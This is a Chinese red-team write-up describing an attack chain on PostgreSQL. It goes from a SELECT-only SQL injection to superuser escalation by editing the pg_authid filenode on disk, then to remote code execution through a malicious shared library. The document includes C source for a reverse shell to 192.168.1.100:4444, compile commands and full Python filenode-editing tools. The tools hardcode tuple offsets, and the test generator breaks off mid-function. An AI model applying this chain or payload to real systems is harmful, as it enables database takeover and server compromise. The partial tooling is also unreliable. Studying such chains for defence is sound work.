红队实战复盘：从无效 SQL 注入到 PostgreSQL 全域攻陷的深度突破
某次红队演练，在针对核心业务系统发起渗透测试时，通过代码审计拿到 Gin 架构下的 SQL 注入漏洞，但实际挖掘却无法进一步提取出可利用的数据。团队投入近一个月时间，围绕 PostgreSQL 的内核机制、权限模型、数据存储方式展开专项研究，最终在受限的环境下，构造了一条攻击链，实现了从一个无效的注入到 PostgreSQL 全域控制、权限提权并持久化 RCE 的完整突破。
0 引言
某次红队演练，在针对核心业务系统发起渗透测试时，通过代码审计拿到 Gin 架构下的 SQL 注入漏洞，但实际挖掘却无法进一步提取出可利用的数据。团队投入近一个月时间，围绕 PostgreSQL 的内核机制、权限模型、数据存储方式展开专项研究，最终在受限的环境下，构造了一条攻击链，实现了从一个无效的注入到 PostgreSQL 全域控制、权限提权并持久化 RCE 的完整突破。
1 缘起一场 SQL 注入
1.0 目标信息
这款设备此前已经过多次审计，基于 go 语言 Gin 框架开发，使用 PGX 作为 PostgreSQL 数据库驱动。此数据库属于一个受信任的公共数据存储库，通常具备查询权限的用户可查询全量数据，但数据的增删改则需特定权限用户。从漏洞利用方式来考虑，即便存在 SELECT 型的注入也不会对应用造成实质影响；而一旦出现 DELETE 或 UPDATE 型注入，则将对系统业务构成影响。
受合作性质所限，我无法披露完整源码，好在这些漏洞并不存在于应用自身的业务逻辑中，其核心逻辑可简化，如下：
1.1 一次极为简单的注入
首先定位到可能存在注入的位置，出现在phraseHandler函数内的这几行代码中。后台直接将参数id拼接至查询字符串里，随后调用pool.Query()函数执行查询。这可以说是最直接的漏洞写法了
可通过 curl 快速验证该注入漏洞：
此时，带入后台查询的 SQL 如下：
SELECT id, text FROM phrases WHERE id=-1 OR 1=1PostgreSQL 支持堆叠查询，可通过分号分隔追加语句，如：
SELECT id, text FROM phrases WHERE id=-1; SELECT pg_sleep(5);1.1无法执行堆叠查询
事实证明，PGX 开发团队为提升驱动的安全性，在底层将所有 SQL 查询转换为预处理语句。这一点在官方文档有所提及 pgx package - github.com。这样设计主要是为了从根本上禁用任何形式的堆叠查询。核心原理在于其本身不允许在单个预处理语句中包含多条查询语句。
如此一来，我们的操作范围就被限制在单条 SELECT 查询内，数据库管理系统会直接拒绝所有堆叠查询，当你尝试在嵌套中使用 UPDATE 或 DELETE 语句，则会抛出异常
不过，嵌套 SELECT 依旧可行
既然无需借助注入就能拿数据，那这个漏洞真的值得上报吗
1.3 内置函数的利用
1、当下已知 SELECT 查询是被允许的，我们可以尝试调用数据库内置函数，看看是否有能为我们所用。
首先考量的是执行文件读写操作相关的函数。这些函数属于 PostgreSQL 大对象（Large Objects）功能模块的一部分，默认情况下仅供超级用户调用：
lo_import(path_to_file, lo_id)- 将指定文件读取至数据库大对象中lo_export(lo_id, path_to_file)- 将数据库大对象的数据导出至指定文件
2、思考哪些文件可以被读取呢？
由于数据库管理系统通常以 postgres 用户身份运行，服务器上我们可以通过以下命令查找具备可读权限的文件：
$ cat /etc/passwd | grep postgres
postgres:x:129:129::/var/lib/postgresql:/bin/bash
$ find / -uid 129 -type f -perm -600 2>/dev/null
...
/var/lib/postgresql/data/postgresql.conf <---- 主配置文件
/var/lib/postgresql/data/pg_hba.conf <---- 认证相关配置文件
/var/lib/postgresql/data/pg_ident.conf <---- 用户名映射配置文件
...
/var/lib/postgresql/13/main/base/1/2654 <---- 其他底层存储的数据文件
/var/lib/postgresql/13/main/base/1/2613尝试调用 lo_import 函数把文件导入为大对象 、调用 lo_get 函数读取这个大对象的内容，结果一切正常，成功读取到文件
尝试调用 pg_reload_conf 函数重新加载数据库配置文件，期望的结果是返回 true，但结果却返回空数组，是否是权限不足呢？
1.4 并非（完全的）超级用户
默认配置下，普通用户是不能调用 lo_import 导入文件的，且仅能读取自己创建的大对象，推测是当前用户被赋予了一定的权限，但无权访问其他任何功能。我们并非超级用户。比如配置文件里授予大对象函数执行权限
GRANT EXECUTE ON FUNCTION lo_export(oid, text) TO user;
GRANT EXECUTE ON FUNCTION lo_import(text, oid) TO user;1.5 寻找提权路径
若要通过配置文件来实现稳定的 RCE，我们必须找到提权至超级用户的方法，从而调用pg_reload_conf()函数。与广为人知的 PostgreSQL 远程代码执行技术不同，关于数据库内部提权的相关资料十分匮乏。
这一点如何解决，官方文档函数的介绍页为我们提供了一些线索
思考如果不借助任何UPDATE查询语句，直接在硬盘修改 PostgreSQL 的表数据，是否可行呢？
2 PostgreSQL 存储原理
2.0 表与文件节点
PostgreSQL 如何优化资源利用率，并消除潜在的数据访问冲突，可参考可官方文档 storage-hot.html storage-page-layout.html ，再对比常见接触的 mysql、sqlserver，其差异是非常大的。
PostgreSQL 的物理数据存储结构存在显著差异。所有数据均以 文件节点（Filenode）对象 的形式存储于磁盘，该对象的命名源于对应 pg_class 对象的 OID（对象标识符）。
从服务器上看，每张数据表都有其对应的文件节点。获取节点名称命令如下：
SELECT oid FROM pg_class WHERE relname='your_table_name' AND relkind = 'r'所有文件节点均存储于数据目录中。该数据目录的查询命令如下：
//需超级用户权限
SELECT setting FROM pg_settings WHERE name = 'data_directory';无超级用户当然可以尝试一些默认路径
系统 / 部署方式 | 通用数据目录路径 | 说明 |
Debian/Ubuntu（apt 安装） | /var/lib/postgresql/版本号/main/ | 例：/var/lib/postgresql/16/main/ |
RHEL/CentOS/Rocky（yum 安装） | /var/lib/pgsql/版本号/data/` | 例：/var/lib/pgsql/15/data/ |
macOS（Homebrew 安装） | /usr/local/var/postgres/ /opt/homebrew/var/postgres/ | Intel/M1 芯片路径差异 |
Windows（安装程序） | C:\Program Files\PostgreSQL\版本号\data | 例：C:\Program Files\PostgreSQL\14\data\ |
以我们服务器的 phrases 表为例，其文件节点的路径示例如下
所以在前面提到的所有以数字命名的文件，实际上都是独立的表文件节点，且 postgres 用户对其拥有读写权限。
2.1 文件节点格式
文件节点（Filenode）是一种二进制文件，由多个大小为 0x2000 字节的独立数据块构成，这类数据块被称为页（Pages）。每个页的实际行数据都存储在嵌套的 条目对象（Item objects） 中。文件节点的结构可通过以下示意图概括：
2.2 表元数据
值得注意的是，条目对象（Item objects）以二进制格式存储，无法直接进行操作。必须先借助 PostgreSQL 系统表 pg_attribute 中的元数据对其进行反序列化处理。我们可通过以下 SQL 查询语句获取条目对象的元数据：
2.3 冷数据与热数据存储
上述所有对象共同构成了数据库管理系统的冷存储。若要通过查询访问冷存储中的数据，PostgreSQL 必须先将其加载至内存缓存（也称为热存储）中。
下图展示了 PostgreSQL 冷存储→热存储的层级关系和数据加载流程，数据会定期将热存储中的数据变更刷写至文件系统。
这类同步操作可能会给我们持久化 RCE 带来麻烦，由于我们只能对运行中数据库的冷存储进行修改，后续的热存储同步极有可能覆盖掉我们的修改内容。因此，我们必须确保待修改的目标数据表已被移出缓存。
当前服务器默认缓存大小为 128MB。至此就可以构造出第一个攻击手法，若我们在数据刷写前，通过对其他数据表或大对象执行高开销查询来对数据库施加压力，就有可能使缓存溢出，并将目标数据表从缓存中清除。
2.4 离线编辑文件节点
我开发了一款用于离线查看和修改文件节点中存储数据的工具，后续在数据的查看与修改可使用到，不手工修改的核心在于避免因误操作破坏整个文件节点的结构。脚本源码在文末给出。
3 无需UPDATE语句修改 PostgreSQL 数据
3.0 定位目标表
我们的目标是将权限提升至超级用户。那么我们应该选择修改表 pg_authid ,PostgreSQL 的所有权限信息均存储在该表。实际上，所有针对角色和用户执行的 CREATE/DROP/ALTER 语句，其底层操作都是对这张表进行修改。我们在服务器可以查看到该表内容：
表内有多个以
rol开头的标志位，默认超级管理员用户postgres的所有标志位均被设为true。若要将我们的用户poc_user提权为超级用户，需将该用户对应标志位改为true。
3.1 查找关联的文件节点
要修改该数据表，我们必须先从磁盘中定位并读取其文件节点。
但眼下问题在于我们没有权限读取 pg_settings 系统表，因此无法从数据库管理系统中获取数据目录的配置信息，直接尝试读取会出现如下异常信息。
但可以通过查询数据库版本来推断数据目录的路径：
我们只需在自己的 Ubuntu22 上安装 PostgreSQL 13 主版本，即可发现其数据目录路径为 /var/lib/postgresql/13/main。
获取数据目录路径后，我们即可查询 pg_authid 文件节点的相对路径。幸运的是，这次不存在权限问题。
掌握所有信息后，我们可以推测到 pg_authid 文件节点的路径为/var/lib/postgresql/13/main/global/1260。
3.2 读取并下载文件节点
接下来，将该节点文件 global/1260 从目标服务器下载到本地主机。用大对象函数 lo_import 和 lo_get，将该文件下载为 Base64 格式并命名为 pg_authid_filenode
3.3 提取表元数据
在解析已下载的文件节点之前，先从服务器获取表元数据：
现在，可以用自研的脚本 list 模式列出节点数据，输入所需文件节点文件 pg_authid_filenode ，以及表元数据
3.4 提升至超级用户权限
现在方向是把用户 poc_user 信息修改成与管理员用户 postgres一致，使用脚本的 updata 模式，这里脚本会将所有不可打印字段（如 rolname 字段）以 Base64 字符串形式传入，修改成功后会生成后缀为 .new 的新文件节点文件
进一步验证生成的 .new 文件是否正确，可使用脚本的 list 模式来查看，结果可以看到修改成功。
通过注入将数据重新上传至目标数据库，并覆盖原始数据。
执行无报错信息，可推断已成功覆盖了磁盘上的文件节点
但如果进一步查询会发现，缓存中存储的是旧数据，要想办法将旧数据刷写清空。
3.5 刷新热数据存储
没权限如何强制服务器清理内存缓存呢，这里尝试着创建一个大小与整个缓存池相当的大对象
目标处理这条查询耗时 5 秒，再次检查权限，结果发现权限已修改成功
发现标志位已修改成功，尝试重新加载配置，结果进一步证实了提取成功，且用户 poc_user 目前已具备重新加载配置的权限。后面则需完成的场景是：仅查询权限下的 RCE。
4 仅用SELECT语句实现远程代码执行
4.0 读取原始postgresql.conf配置文件
完成 RCE 第一步是下载原始配置文件。目前已是超管可直接通过查询配置文件路径后，用大对象函数来下载它
4.1 选取待利用的配置参数
我们可以修改恶意的 postgresql.conf 配置文件，在 dynamic_library_path 中加入可写目录（例如 /tmp），并在 shared_preload_libraries 中指定恶意库文件名（例如 malicious.so）。
修改后的配置文件内容如下：
4.2 编译恶意动态链接库
最后几步之一是编译一个供服务器加载的恶意动态库。代码内容会根据数据库管理系统（DBMS）所运行的操作系统不同而有所变化。对于类 Unix 系统，我们可以将以下简单的反向 Shell 代码编译成 .so 文件。_init() 函数会在动态库被加载时自动执行：
#include <stdio.h>
#include <stdlib.h>
#include <postgres.h>
#include <fmgr.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _PG_init(void) {
system("bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'");
}
PG_FUNCTION_INFO_V1(malicious_func);
Datum malicious_func(PG_FUNCTION_ARGS) {
PG_RETURN_NULL();
}编译成 so 库（需安装 PGSQL 开发包postgresql-server-dev-<版本>）。编译前，须安装对应主版本的开发包
$ sudo apt install postgresql-13 postgresql-server-dev-13 -y
$ sudo gcc -fPIC -c malicious.c -I/usr/include/postgresql/14/server
$ sudo gcc -shared -o malicious.so malicious.o4.3 将文件上传至目标服务器
上传并替换原 postgresql.conf 文件：
上传恶意 .so 文件到可访问路径
如果此时在目标服务器上检查可看到 .so 恶意库文件已部署到位。
4.4 配置重载成功
此时重载配置，就能收到反弹 Shell
攻击机端：
5 结论
在此次复盘中，我们通过直接修改数据库管理系统（DBMS）的文件与数据，从零构造出 DELETE 和 UPDATE 语句，成功将一个看似权限极度受限的 SQL 注入漏洞危害等级提升至严重级别，实现提权并持久化 RCE 的完整突破，但愿本文能在思路上为你带来一些实用的收获。
6 参考文献
https://www.postgresql.org/docs/current/lo-funcs.html
https://www.postgresql.org/docs/current/storage-page-layout.html
https://www.postgresql.org/docs/current/storage-hot.html
7 工具源代码
pgsql_nodeEdit_v1.0
第一个版本 pgsql_nodeEdit_v1.0.py 是只用于查看节点数据
#!/usr/bin/env python3
import argparse
import struct
import csv
from io import BytesIO
# PostgreSQL 默认页面大小 (8KB)
PG_PAGE_SIZE = 8192
# PostgreSQL 类型解析器映射
TYPE_PARSERS = {
'oid': lambda b: struct.unpack('I', b)[0] if len(b)==4 else 0, # 4字节无符号整数
'cid': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0, # 4字节有符号整数
'xid': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0, # 4字节有符号整数
'tid': lambda b: struct.unpack('HH', b[:4]) if len(b)>=4 else (0,0), # 简化处理tid
'int4': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0, # 4字节有符号整数
'bool': lambda b: struct.unpack('b', b)[0] if len(b)==1 else 0, # 1字节布尔值
'name': lambda b: b.split(b'\x00')[0] if b else b'', # 以NULL结尾的字符串
'text': lambda b: b if b and len(b)>0 else None, # 文本类型（-1表示变长）
'timestamptz': lambda b: struct.unpack('d', b)[0] if len(b)==8 else 0.0, # 8字节双精度浮点数
}
def parse_datatype_csv(csv_str):
"""
解析数据类型CSV字符串，返回字段解析规则列表
格式: "字段名,类型名,长度,对齐方式;字段名,类型名,长度,对齐方式..."
"""
fields = []
for field_str in csv_str.split(';'):
if not field_str.strip():
continue
parts = field_str.split(',')
if len(parts) < 4:
continue
field_name, typname, attlen, attalign = parts[:4]
fields.append({
'name': field_name.strip(),
'type': typname.strip(),
'length': int(attlen.strip()),
'align': attalign.strip()
})
return fields
def read_pg_page(file_handle, page_num=0):
"""读取指定页码的PostgreSQL数据页面"""
file_handle.seek(page_num * PG_PAGE_SIZE)
return file_handle.read(PG_PAGE_SIZE)
def parse_tuple_data(page_data, fields):
"""
修复版：解析页面中的元组数据
适配我们生成的测试文件结构
"""
tuples = []
# 手动指定测试文件中的元组位置（匹配生成脚本）
tuple_positions = [
256, # item 0: postgres
768, # item 1: pg_monitor
4096 # item 9: poc_user
]
for item_num, offset in enumerate(tuple_positions):
try:
# 读取元组长度
tuple_len = struct.unpack('H', page_data[offset:offset+2])[0]
offset += 2
if tuple_len == 0 or offset + tuple_len > len(page_data):
continue
# 读取元组数据
tuple_data = page_data[offset:offset+tuple_len]
tuple_io = BytesIO(tuple_data)
# 跳过元组头部（23字节）
tuple_io.seek(23)
# 解析每个字段
record = {}
for field in fields:
field_name = field['name']
field_type = field['type']
field_len = field['length']
try:
# 处理变长字段（length=-1）
if field_len == -1:
# 读取变长字段头部（4字节长度）
var_len_data = tuple_io.read(4)
if len(var_len_data) < 4:
field_value = None
else:
var_len = struct.unpack('I', var_len_data)[0]
if var_len == 0:
field_value = None
else:
field_value = tuple_io.read(var_len - 4)
else:
# 定长字段
field_data = tuple_io.read(field_len)
if len(field_data) < field_len:
field_value = None
else:
# 使用对应的类型解析器
parser = TYPE_PARSERS.get(field_type, lambda b: b)
field_value = parser(field_data)
record[field_name] = field_value
except Exception as e:
record[field_name] = None
# 手动修正item编号（第三个是item 9）
if item_num == 2:
item_num = 9
tuples.append((item_num, record))
except Exception as e:
continue
return tuples
def main():
# 解析命令行参数
parser = argparse.ArgumentParser(description='PostgreSQL Filenode Editor/Reader')
parser.add_argument('-f', '--file', required=True, help='Filenode 文件路径')
parser.add_argument('-m', '--mode', required=True, choices=['list'], help='操作模式 (仅支持list)')
parser.add_argument('--datatype-csv', required=True, help='字段类型CSV字符串')
args = parser.parse_args()
# 解析数据类型CSV
fields = parse_datatype_csv(args.datatype_csv)
# 读取filenode文件
try:
with open(args.file, 'rb') as f:
# 读取第0页
page_data = read_pg_page(f, 0)
print(f"[+] Page 0:")
# 解析元组数据
tuples = parse_tuple_data(page_data, fields)
# 过滤出pg_authid相关字段
pg_authid_fields = ['oid', 'rolname', 'rolsuper', 'rolinherit',
'rolcreaterole', 'rolcreatedb', 'rolcanlogin',
'rolreplication', 'rolbypassrls', 'rolconnlimit', 'rolpassword']
# 输出解析结果
for item_num, record in tuples:
print(f"--------- item no. {item_num} ---------")
for field in pg_authid_fields:
if field in record:
value = record[field]
# 格式化输出
print(f"{field:<15}: {value}")
print()
except FileNotFoundError:
print(f"错误: 文件 {args.file} 不存在")
except Exception as e:
print(f"错误: {e}")
import traceback
traceback.print_exc()
if __name__ == '__main__':
main()pgsql_nodeEdit_v1.1
更新后的版本 pgsql_nodeEdit_v1.1.py 可用于查看+修改节点数据
#!/usr/bin/env python3
import argparse
import struct
import csv
import base64
from io import BytesIO
# PostgreSQL 默认页面大小 (8KB)
PG_PAGE_SIZE = 8192
# 测试文件中元组位置映射（page 0）
TUPLE_POSITIONS = {
0: 256, # item 0: postgres
1: 768, # item 1: pg_monitor
9: 4096 # item 9: poc_user
}
# PostgreSQL 类型解析器/生成器映射
TYPE_HANDLERS = {
'oid': {
'parse': lambda b: struct.unpack('I', b)[0] if len(b)==4 else 0,
'pack': lambda v: struct.pack('I', int(v))
},
'cid': {
'parse': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0,
'pack': lambda v: struct.pack('i', int(v))
},
'xid': {
'parse': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0,
'pack': lambda v: struct.pack('i', int(v))
},
'tid': {
'parse': lambda b: struct.unpack('HH', b[:4]) if len(b)>=4 else (0,0),
'pack': lambda v: struct.pack('HH', 0, int(v)) + b'\x00'
},
'int4': {
'parse': lambda b: struct.unpack('i', b)[0] if len(b)==4 else 0,
'pack': lambda v: struct.pack('i', int(v))
},
'bool': {
'parse': lambda b: struct.unpack('b', b)[0] if len(b)==1 else 0,
'pack': lambda v: struct.pack('b', int(v))
},
'name': {
'parse': lambda b: b.split(b'\x00')[0] if b else b'',
'pack': lambda v: base64.b64decode(v) if v.startswith('cG9j') else (v.encode() + b'\x00' * 64)[:64]
},
'text': {
'parse': lambda b: b if b and len(b)>0 else None,
'pack': lambda v: struct.pack('I', len(v)+4) + v.encode() if v != 'NULL' else struct.pack('I', 0)
},
'timestamptz': {
'parse': lambda b: struct.unpack('d', b)[0] if len(b)==8 else 0.0,
'pack': lambda v: struct.pack('d', 0.0) if v == 'NULL' else struct.pack('d', float(v))
},
}
# pg_authid 核心字段顺序（对应csv-data）
PG_AUTHID_FIELDS = [
'oid', 'rolname', 'rolsuper', 'rolinherit', 'rolcreaterole',
'rolcreatedb', 'rolcanlogin', 'rolreplication', 'rolbypassrls',
'rolconnlimit', 'rolpassword', 'rolvaliduntil'
]
def parse_datatype_csv(csv_str):
"""解析数据类型CSV字符串，返回字段解析规则列表"""
fields = []
for field_str in csv_str.split(';'):
if not field_str.strip():
continue
parts = field_str.split(',')
if len(parts) < 4:
continue
field_name, typname, attlen, attalign = parts[:4]
fields.append({
'name': field_name.strip(),
'type': typname.strip(),
'length': int(attlen.strip()),
'align': attalign.strip()
})
return fields
def read_pg_page(file_handle, page_num=0):
"""读取指定页码的PostgreSQL数据页面"""
file_handle.seek(page_num * PG_PAGE_SIZE)
return bytearray(file_handle.read(PG_PAGE_SIZE))
def parse_tuple_data(page_data, fields):
"""解析页面中的元组数据（list模式）"""
tuples = []
for item_num, offset in TUPLE_POSITIONS.items():
try:
# 读取元组长度
tuple_len = struct.unpack('H', page_data[offset:offset+2])[0]
offset += 2
if tuple_len == 0 or offset + tuple_len > len(page_data):
continue
# 读取元组数据
tuple_data = page_data[offset:offset+tuple_len]
tuple_io = BytesIO(tuple_data)
# 跳过元组头部（23字节）
tuple_io.seek(23)
# 解析每个字段
record = {}
for field in fields:
field_name = field['name']
field_type = field['type']
field_len = field['length']
try:
# 处理变长字段（length=-1）
if field_len == -1:
var_len_data = tuple_io.read(4)
if len(var_len_data) < 4:
field_value = None
else:
var_len = struct.unpack('I', var_len_data)[0]
if var_len == 0:
field_value = None
else:
field_value = tuple_io.read(var_len - 4)
else:
# 定长字段
field_data = tuple_io.read(field_len)
if len(field_data) < field_len:
field_value = None
else:
parser = TYPE_HANDLERS.get(field_type, {}).get('parse', lambda b: b)
field_value = parser(field_data)
record[field_name] = field_value
except Exception as e:
record[field_name] = None
tuples.append((item_num, record))
except Exception as e:
continue
return tuples
def update_tuple_data(page_data, page_num, item_num, csv_data, datatype_fields):
"""更新指定元组数据（update模式）"""
# 1. 解析更新数据
update_values = csv_data.split(',')
if len(update_values) != len(PG_AUTHID_FIELDS):
raise ValueError(f"更新数据字段数不匹配，需要{len(PG_AUTHID_FIELDS)}个，实际{len(update_values)}个")
# 构建更新字典
update_dict = dict(zip(PG_AUTHID_FIELDS, update_values))
# 2. 定位元组位置
if item_num not in TUPLE_POSITIONS:
raise ValueError(f"Item {item_num} 不存在，支持的item: {list(TUPLE_POSITIONS.keys())}")
tuple_offset = TUPLE_POSITIONS[item_num]
# 3. 读取元组长度
tuple_len = struct.unpack('H', page_data[tuple_offset:tuple_offset+2])[0]
data_offset = tuple_offset + 2 + 23 # 元组长度(2) + 元组头部(23)
# 4. 找到pg_authid字段在datatype_fields中的位置
field_index_map = {}
for idx, field in enumerate(datatype_fields):
if field['name'] in PG_AUTHID_FIELDS:
field_index_map[field['name']] = idx
# 5. 计算每个字段的偏移并更新
current_offset = data_offset
# 先跳过系统字段（tableoid, cmax, xmax, cmin, xmin, ctid）
system_fields = ['tableoid', 'cmax', 'xmax', 'cmin', 'xmin', 'ctid']
for field in datatype_fields:
if field['name'] in system_fields:
if field['length'] == -1:
current_offset += 4 # 变长字段头部
current_offset += struct.unpack('I', page_data[current_offset-4:current_offset])[0] - 4
else:
current_offset += field['length']
# 更新pg_authid核心字段
for field_name in PG_AUTHID_FIELDS:
if field_name not in field_index_map:
continue
field = datatype_fields[field_index_map[field_name]]
field_type = field['type']
field_len = field['length']
update_value = update_dict[field_name]
try:
# 获取字段打包函数
pack_func = TYPE_HANDLERS.get(field_type, {}).get('pack', lambda v: v.encode())
# 处理不同类型字段
if field_len == -1: # 变长字段（text）
# 先清空原有数据（简单处理：直接覆盖）
packed_data = pack_func(update_value)
# 写入新数据
page_data[current_offset:current_offset+len(packed_data)] = packed_data
current_offset += len(packed_data)
else: # 定长字段
packed_data = pack_func(update_value)
# 确保长度匹配
if len(packed_data) < field_len:
packed_data += b'\x00' * (field_len - len(packed_data))
elif len(packed_data) > field_len:
packed_data = packed_data[:field_len]
# 写入新数据
page_data[current_offset:current_offset+field_len] = packed_data
current_offset += field_len
except Exception as e:
print(f"警告：更新字段 {field_name} 失败 - {e}")
current_offset += field_len if field_len != -1 else 4
return page_data
def main():
# 解析命令行参数
parser = argparse.ArgumentParser(description='PostgreSQL Filenode Editor/Reader')
parser.add_argument('-f', '--file', required=True, help='Filenode 文件路径')
parser.add_argument('-m', '--mode', required=True, choices=['list', 'update'], help='操作模式 (list/update)')
parser.add_argument('--datatype-csv', required=True, help='字段类型CSV字符串')
# Update模式参数
parser.add_argument('-p', '--page', type=int, default=0, help='要更新的页码（仅update模式）')
parser.add_argument('-i', '--item', type=int, help='要更新的item编号（仅update模式）')
parser.add_argument('--csv-data', help='更新的字段数据CSV（仅update模式）')
args = parser.parse_args()
# 解析数据类型CSV
datatype_fields = parse_datatype_csv(args.datatype_csv)
# 处理不同模式
if args.mode == 'list':
# List模式：解析并显示
try:
with open(args.file, 'rb') as f:
page_data = read_pg_page(f, 0)
print(f"[+] Page 0:")
# 解析元组数据
tuples = parse_tuple_data(page_data, datatype_fields)
# 过滤出pg_authid相关字段
pg_authid_fields = ['oid', 'rolname', 'rolsuper', 'rolinherit',
'rolcreaterole', 'rolcreatedb', 'rolcanlogin',
'rolreplication', 'rolbypassrls', 'rolconnlimit', 'rolpassword']
# 输出解析结果
for item_num, record in sorted(tuples):
print(f"--------- item no. {item_num} ---------")
for field in pg_authid_fields:
if field in record:
value = record[field]
print(f"{field:<15}: {value}")
print()
except FileNotFoundError:
print(f"错误: 文件 {args.file} 不存在")
except Exception as e:
print(f"错误: {e}")
elif args.mode == 'update':
# Update模式：修改并生成新文件
if args.item is None or args.csv_data is None:
print("错误：update模式必须指定 -i (item编号) 和 --csv-data (更新数据)")
return
try:
# 1. 读取原文件
with open(args.file, 'rb') as f:
page_data = read_pg_page(f, args.page)
# 2. 更新元组数据
updated_page = update_tuple_data(
page_data,
args.page,
args.item,
args.csv_data,
datatype_fields
)
# 3. 写入新文件
new_filename = f"{args.file}.new"
with open(new_filename, 'wb') as f:
f.write(updated_page)
print(f"成功生成新文件: {new_filename}")
print(f" - 更新页码: {args.page}")
print(f" - 更新Item: {args.item}")
print(f" - 更新数据: {args.csv_data}")
# 4. 验证更新结果
print("\n[验证更新结果]")
tuples = parse_tuple_data(updated_page, datatype_fields)
for item_num, record in tuples:
if item_num == args.item:
print(f"--------- item no. {item_num} (已更新) ---------")
pg_authid_fields = ['oid', 'rolname', 'rolsuper', 'rolinherit',
'rolcreaterole', 'rolcreatedb', 'rolcanlogin',
'rolreplication', 'rolbypassrls', 'rolconnlimit', 'rolpassword']
for field in pg_authid_fields:
if field in record:
value = record[field]
print(f"{field:<15}: {value}")
break
except FileNotFoundError:
print(f"错误: 文件 {args.file} 不存在")
except ValueError as e:
print(f"错误: {e}")
except Exception as e:
print(f"错误: {e}")
import traceback
traceback.print_exc()
if __name__ == '__main__':
main()pg_authid_filenode 文件内容示例
文件 pg_authid_filenode 是从目标服务器提取出的二进制文件，这里可用py生成用于测试
#!/usr/bin/env python3
import struct
# PostgreSQL 页面大小 8KB
PG_PAGE_SIZE = 8192
def create_pg_authid_filenode():
# 创建空页面（8KB）
page_data = bytearray(PG_PAGE_SIZE)
# --------------------------
# 第一个元组：postgres 用户 (oid=10)
# --------------------------
tuple_offset = 256 # 元组起始偏移
# 元组长度（144字节）
page_data[tuple_offset:tuple_offset+2] = struct.pack('H', 144)
tuple_offset += 2
# 跳过元组头部（23字节）
tuple_offset += 23
# 系统字段（tableoid, cmax, xmax, cmin, xmin, ctid）
# tableoid (oid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 1260)
tuple_offset += 4
# cmax (cid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
# xmax (xid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
# cmin (cid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
# xmin (xid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 10)
tuple_offset += 4
# ctid (tid, 6字节)
page_data[tuple_offset:tuple_offset+6] = struct.pack('HH', 0, 0) + b'\x00'
tuple_offset += 6
# pg_authid 核心字段
# oid (oid, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 10)
tuple_offset += 4
# rolname (name, 64字节) - postgres
rolname = b'postgres' + b'\x00' * (64 - len(b'postgres'))
page_data[tuple_offset:tuple_offset+64] = rolname
tuple_offset += 64
# rolsuper (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolinherit (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolcreaterole (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolcreatedb (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolcanlogin (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolreplication (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolbypassrls (bool, 1字节)
page_data[tuple_offset] = 1
tuple_offset += 1
# rolconnlimit (int4, 4字节)
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', -1)
tuple_offset += 4
# rolpassword (text, -1) - NULL
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 0)
tuple_offset += 4
# rolvaliduntil (timestamptz, 8字节)
page_data[tuple_offset:tuple_offset+8] = struct.pack('d', 0.0)
tuple_offset += 8
# --------------------------
# 第二个元组：pg_monitor 用户 (oid=3373)
# --------------------------
tuple_offset = 768 # 第二个元组起始偏移
# 元组长度（144字节）
page_data[tuple_offset:tuple_offset+2] = struct.pack('H', 144)
tuple_offset += 2
# 跳过元组头部（23字节）
tuple_offset += 23
# 系统字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 1260)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 0)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', 10)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+6] = struct.pack('HH', 0, 1) + b'\x00'
tuple_offset += 6
# pg_authid 核心字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 3373)
tuple_offset += 4
rolname = b'pg_monitor' + b'\x00' * (64 - len(b'pg_monitor'))
page_data[tuple_offset:tuple_offset+64] = rolname
tuple_offset += 64
page_data[tuple_offset] = 0 # rolsuper
tuple_offset += 1
page_data[tuple_offset] = 1 # rolinherit
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreaterole
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcreatedb
tuple_offset += 1
page_data[tuple_offset] = 0 # rolcanlogin
tuple_offset += 1
page_data[tuple_offset] = 0 # rolreplication
tuple_offset += 1
page_data[tuple_offset] = 0 # rolbypassrls
tuple_offset += 1
page_data[tuple_offset:tuple_offset+4] = struct.pack('i', -1) # rolconnlimit
tuple_offset += 4
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 0) # rolpassword (NULL)
tuple_offset += 4
page_data[tuple_offset:tuple_offset+8] = struct.pack('d', 0.0) # rolvaliduntil
tuple_offset += 8
# --------------------------
# 第十个元组：poc_user 用户 (oid=16386)
# --------------------------
tuple_offset = 10000 # 第十个元组起始偏移（注意：8KB内）
if tuple_offset > PG_PAGE_SIZE:
tuple_offset = 4096
# 元组长度（152字节）
page_data[tuple_offset:tuple_offset+2] = struct.pack('H', 152)
tuple_offset += 2
# 跳过元组头部（23字节）
tuple_offset += 23
# 系统字段
page_data[tuple_offset:tuple_offset+4] = struct.pack('I', 1260)
tuple_offset += 4
